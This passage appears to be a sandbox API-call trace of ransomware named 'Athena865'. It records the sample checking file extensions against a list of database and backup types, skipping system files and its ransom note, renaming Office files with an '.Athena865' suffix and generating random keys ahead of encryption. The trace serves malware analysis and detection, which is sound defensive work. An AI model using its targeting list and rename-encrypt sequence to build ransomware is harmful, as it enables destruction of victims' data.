[0115.472] lstrlenW (lpString="frm") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0115.472] lstrlenW (lpString="gdb") returned 3 [0115.472] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0115.472] lstrlenW (lpString="gdb") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0115.473] lstrlenW (lpString="grdb") returned 4 [0115.473] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0115.473] lstrlenW (lpString="gwi") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0115.473] lstrlenW (lpString="hdb") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0115.473] lstrlenW (lpString="his") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0115.473] lstrlenW (lpString="ib") returned 2 [0115.473] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0115.473] lstrlenW (lpString="idb") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0115.473] lstrlenW (lpString="ihx") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0115.473] lstrlenW (lpString="itdb") returned 4 [0115.473] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0115.473] lstrlenW (lpString="itw") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0115.473] lstrlenW (lpString="jet") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0115.473] lstrlenW (lpString="jtx") returned 3 [0115.473] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0115.474] lstrlenW (lpString="kdb") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0115.474] lstrlenW (lpString="kexi") returned 4 [0115.474] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0115.474] lstrlenW (lpString="kexic") returned 5 [0115.474] lstrcmpiW (lpString1="M.EXE", lpString2="kexic") returned 1 [0115.474] lstrlenW (lpString="kexis") returned 5 [0115.474] lstrcmpiW (lpString1="M.EXE", lpString2="kexis") returned 1 [0115.474] lstrlenW (lpString="lgc") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0115.474] lstrlenW (lpString="lwx") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0115.474] lstrlenW (lpString="maf") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0115.474] lstrlenW (lpString="maq") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0115.474] lstrlenW (lpString="mar") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0115.474] lstrlenW (lpString="marshal") returned 7 [0115.474] lstrcmpiW (lpString1="ARM.EXE", lpString2="marshal") returned -1 [0115.474] lstrlenW (lpString="mas") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0115.474] lstrlenW (lpString="mav") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0115.474] lstrlenW (lpString="maw") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0115.474] lstrlenW (lpString="mdbhtml") returned 7 [0115.474] lstrcmpiW (lpString1="ARM.EXE", lpString2="mdbhtml") returned -1 [0115.474] lstrlenW (lpString="mdn") returned 3 [0115.474] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0115.474] lstrlenW (lpString="mdt") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0115.475] lstrlenW (lpString="mfd") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0115.475] lstrlenW (lpString="mpd") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0115.475] lstrlenW (lpString="mrg") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0115.475] lstrlenW (lpString="mud") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0115.475] lstrlenW (lpString="mwb") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0115.475] lstrlenW (lpString="myd") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0115.475] lstrlenW (lpString="ndf") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0115.475] lstrlenW (lpString="nnt") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0115.475] lstrlenW (lpString="nrmlib") returned 6 [0115.475] lstrcmpiW (lpString1="RM.EXE", lpString2="nrmlib") returned 1 [0115.475] lstrlenW (lpString="ns2") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0115.475] lstrlenW (lpString="ns3") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0115.475] lstrlenW (lpString="ns4") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0115.475] lstrlenW (lpString="nsf") returned 3 [0115.475] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0115.475] lstrlenW (lpString="nv") returned 2 [0115.475] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0115.476] lstrlenW (lpString="nv2") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0115.476] lstrlenW (lpString="nwdb") returned 4 [0115.476] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0115.476] lstrlenW (lpString="nyf") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0115.476] lstrlenW (lpString="odb") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0115.476] lstrlenW (lpString="odb") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0115.476] lstrlenW (lpString="oqy") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0115.476] lstrlenW (lpString="ora") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0115.476] lstrlenW (lpString="orx") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0115.476] lstrlenW (lpString="owc") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0115.476] lstrlenW (lpString="p96") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0115.476] lstrlenW (lpString="p97") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0115.476] lstrlenW (lpString="pan") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0115.476] lstrlenW (lpString="pdb") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0115.476] lstrlenW (lpString="pdm") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0115.476] lstrlenW (lpString="pnz") returned 3 [0115.476] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0115.476] lstrlenW (lpString="qry") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0115.477] lstrlenW (lpString="qvd") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0115.477] lstrlenW (lpString="rbf") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0115.477] lstrlenW (lpString="rctd") returned 4 [0115.477] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0115.477] lstrlenW (lpString="rod") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0115.477] lstrlenW (lpString="rodx") returned 4 [0115.477] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0115.477] lstrlenW (lpString="rpd") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0115.477] lstrlenW (lpString="rsd") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0115.477] lstrlenW (lpString="sas7bdat") returned 8 [0115.477] lstrcmpiW (lpString1="EARM.EXE", lpString2="sas7bdat") returned -1 [0115.477] lstrlenW (lpString="sbf") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0115.477] lstrlenW (lpString="scx") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0115.477] lstrlenW (lpString="sdb") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0115.477] lstrlenW (lpString="sdc") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0115.477] lstrlenW (lpString="sdf") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0115.477] lstrlenW (lpString="sis") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0115.477] lstrlenW (lpString="spq") returned 3 [0115.477] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0115.477] lstrlenW (lpString="te") returned 2 [0115.478] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0115.478] lstrlenW (lpString="teacher") returned 7 [0115.478] lstrcmpiW (lpString1="ARM.EXE", lpString2="teacher") returned -1 [0115.478] lstrlenW (lpString="tmd") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0115.478] lstrlenW (lpString="tps") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0115.478] lstrlenW (lpString="trc") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0115.478] lstrlenW (lpString="trc") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0115.478] lstrlenW (lpString="trm") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0115.478] lstrlenW (lpString="udb") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0115.478] lstrlenW (lpString="udl") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0115.478] lstrlenW (lpString="usr") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0115.478] lstrlenW (lpString="v12") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0115.478] lstrlenW (lpString="vis") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0115.478] lstrlenW (lpString="vpd") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0115.478] lstrlenW (lpString="vvv") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0115.478] lstrlenW (lpString="wdb") returned 3 [0115.478] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0115.478] lstrlenW (lpString="wmdb") returned 4 [0115.478] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0115.479] lstrlenW (lpString="wrk") returned 3 [0115.479] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0115.479] lstrlenW (lpString="xdb") returned 3 [0115.479] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0115.479] lstrlenW (lpString="xld") returned 3 [0115.479] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0115.479] lstrlenW (lpString="xmlff") returned 5 [0115.479] lstrcmpiW (lpString1="M.EXE", lpString2="xmlff") returned -1 [0115.479] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.Athena865") returned 103 [0115.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.athena865"), dwFlags=0x1) returned 1 [0115.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.483] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15712) returned 1 [0115.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.483] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.484] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.484] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.484] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4060, lpName=0x0) returned 0x154 [0115.488] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4060) returned 0x100000 [0115.493] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.493] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.493] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.494] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0115.494] CloseHandle (hObject=0x154) returned 1 [0115.495] CloseHandle (hObject=0x17c) returned 1 [0115.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.495] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="..") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="windows") returned -1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="bootmgr") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="temp") returned -1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="pagefile.sys") returned -1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="boot") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="ids.txt") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="ntuser.dat") returned 1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="perflogs") returned -1 [0115.495] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="MSBuild") returned 1 [0115.495] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0115.495] lstrcpyW (in: lpString1=0x241e8e8, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0115.495] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0115.496] lstrlenW (lpString="Athena865") returned 9 [0115.496] lstrcmpiW (lpString1="PPSVC.EXE", lpString2="Athena865") returned 1 [0115.496] lstrlenW (lpString=".dll") returned 4 [0115.496] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".dll") returned 1 [0115.496] lstrlenW (lpString=".lnk") returned 4 [0115.496] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".lnk") returned 1 [0115.496] lstrlenW (lpString=".ini") returned 4 [0115.496] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".ini") returned 1 [0115.496] lstrlenW (lpString=".sys") returned 4 [0115.496] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".sys") returned 1 [0115.496] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0115.496] lstrlenW (lpString="bak") returned 3 [0115.496] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0115.496] lstrlenW (lpString="ba_") returned 3 [0115.496] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0115.496] lstrlenW (lpString="dbb") returned 3 [0115.496] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0115.496] lstrlenW (lpString="vmdk") returned 4 [0115.496] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0115.496] lstrlenW (lpString="rar") returned 3 [0115.496] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0115.496] lstrlenW (lpString="zip") returned 3 [0115.496] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0115.496] lstrlenW (lpString="tgz") returned 3 [0115.496] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0115.496] lstrlenW (lpString="vbox") returned 4 [0115.496] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0115.496] lstrlenW (lpString="vdi") returned 3 [0115.496] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0115.497] lstrlenW (lpString="vhd") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0115.497] lstrlenW (lpString="vhdx") returned 4 [0115.497] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0115.497] lstrlenW (lpString="avhd") returned 4 [0115.497] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0115.497] lstrlenW (lpString="db") returned 2 [0115.497] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0115.497] lstrlenW (lpString="db2") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0115.497] lstrlenW (lpString="db3") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0115.497] lstrlenW (lpString="dbf") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0115.497] lstrlenW (lpString="mdf") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0115.497] lstrlenW (lpString="mdb") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0115.497] lstrlenW (lpString="sql") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0115.497] lstrlenW (lpString="sqlite") returned 6 [0115.497] lstrcmpiW (lpString1="VC.EXE", lpString2="sqlite") returned 1 [0115.497] lstrlenW (lpString="sqlite3") returned 7 [0115.497] lstrcmpiW (lpString1="SVC.EXE", lpString2="sqlite3") returned 1 [0115.497] lstrlenW (lpString="sqlitedb") returned 8 [0115.497] lstrcmpiW (lpString1="PSVC.EXE", lpString2="sqlitedb") returned -1 [0115.497] lstrlenW (lpString="xml") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0115.497] lstrlenW (lpString="$er") returned 3 [0115.497] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0115.498] lstrlenW (lpString="4dd") returned 3 [0115.498] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0115.498] lstrlenW (lpString="4dl") returned 3 [0115.498] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0115.498] lstrlenW (lpString="^^^") returned 3 [0115.498] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0115.498] lstrlenW (lpString="abs") returned 3 [0115.498] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0115.498] lstrlenW (lpString="abx") returned 3 [0115.498] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0115.498] lstrlenW (lpString="accdb") returned 5 [0115.498] lstrcmpiW (lpString1="C.EXE", lpString2="accdb") returned 1 [0115.498] lstrlenW (lpString="accdc") returned 5 [0115.498] lstrcmpiW (lpString1="C.EXE", lpString2="accdc") returned 1 [0115.498] lstrlenW (lpString="accde") returned 5 [0115.498] lstrcmpiW (lpString1="C.EXE", lpString2="accde") returned 1 [0115.498] lstrlenW (lpString="accdr") returned 5 [0115.498] lstrcmpiW (lpString1="C.EXE", lpString2="accdr") returned 1 [0115.498] lstrlenW (lpString="accdt") returned 5 [0115.498] lstrcmpiW (lpString1="C.EXE", lpString2="accdt") returned 1 [0115.498] lstrlenW (lpString="accdw") returned 5 [0115.498] lstrcmpiW (lpString1="C.EXE", lpString2="accdw") returned 1 [0115.498] lstrlenW (lpString="accft") returned 5 [0115.498] lstrcmpiW (lpString1="C.EXE", lpString2="accft") returned 1 [0115.498] lstrlenW (lpString="adb") returned 3 [0115.498] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0115.498] lstrlenW (lpString="adb") returned 3 [0115.498] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0115.499] lstrlenW (lpString="ade") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0115.499] lstrlenW (lpString="adf") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0115.499] lstrlenW (lpString="adn") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0115.499] lstrlenW (lpString="adp") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0115.499] lstrlenW (lpString="alf") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0115.499] lstrlenW (lpString="ask") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0115.499] lstrlenW (lpString="btr") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0115.499] lstrlenW (lpString="cat") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0115.499] lstrlenW (lpString="cdb") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0115.499] lstrlenW (lpString="ckp") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0115.499] lstrlenW (lpString="cma") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0115.499] lstrlenW (lpString="cpd") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0115.499] lstrlenW (lpString="dacpac") returned 6 [0115.499] lstrcmpiW (lpString1="VC.EXE", lpString2="dacpac") returned 1 [0115.499] lstrlenW (lpString="dad") returned 3 [0115.499] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0115.499] lstrlenW (lpString="dadiagrams") returned 10 [0115.500] lstrcmpiW (lpString1="SPPSVC.EXE", lpString2="dadiagrams") returned 1 [0115.500] lstrlenW (lpString="daschema") returned 8 [0115.500] lstrcmpiW (lpString1="PSVC.EXE", lpString2="daschema") returned 1 [0115.500] lstrlenW (lpString="db-journal") returned 10 [0115.500] lstrcmpiW (lpString1="SPPSVC.EXE", lpString2="db-journal") returned 1 [0115.500] lstrlenW (lpString="db-shm") returned 6 [0115.500] lstrcmpiW (lpString1="VC.EXE", lpString2="db-shm") returned 1 [0115.500] lstrlenW (lpString="db-wal") returned 6 [0115.500] lstrcmpiW (lpString1="VC.EXE", lpString2="db-wal") returned 1 [0115.500] lstrlenW (lpString="dbc") returned 3 [0115.500] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0115.500] lstrlenW (lpString="dbs") returned 3 [0115.500] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0115.500] lstrlenW (lpString="dbt") returned 3 [0115.500] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0115.500] lstrlenW (lpString="dbv") returned 3 [0115.500] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0115.500] lstrlenW (lpString="dbx") returned 3 [0115.500] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0115.500] lstrlenW (lpString="dcb") returned 3 [0115.500] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0115.500] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.Athena865") returned 101 [0115.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.athena865"), dwFlags=0x1) returned 1 [0115.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.502] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4925184) returned 1 [0115.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.502] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.503] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: 